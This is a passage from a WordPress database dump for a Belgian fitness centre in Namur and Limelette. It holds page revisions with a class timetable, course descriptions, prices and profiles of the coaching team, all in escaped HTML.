class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2013-11-04 17:21:08', '2013-11-04 17:21:08', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(365, 1, '2015-04-21 08:49:04', '2015-04-21 08:49:04', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenu\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenu\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www.crosstrainingcenter.be/map.png\&quot; usemap=\&quot;#imagemap\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; /&gt;\n\n&lt;map id=\&quot;Map\&quot; name=\&quot;imagemap\&quot;&gt; &lt;area coords=\&quot;90,84,166,108\&quot; shape=\&quot;namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot; /&gt; &lt;area coords=\&quot;174,121,233,132\&quot; shape=\&quot;limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot; /&gt; &lt;/map&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-autosave-v1', '', '', '2015-04-21 08:49:04', '2015-04-21 08:49:04', '', 11, 'http://www.crosstrainingcenter.be/11-autosave-v1/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(367, 1, '2013-11-04 17:24:23', '2013-11-04 17:24:23', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-11-04 17:24:23', '2013-11-04 17:24:23', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(368, 1, '2013-11-04 17:25:06', '2013-11-04 17:25:06', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-11-04 17:25:06', '2013-11-04 17:25:06', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
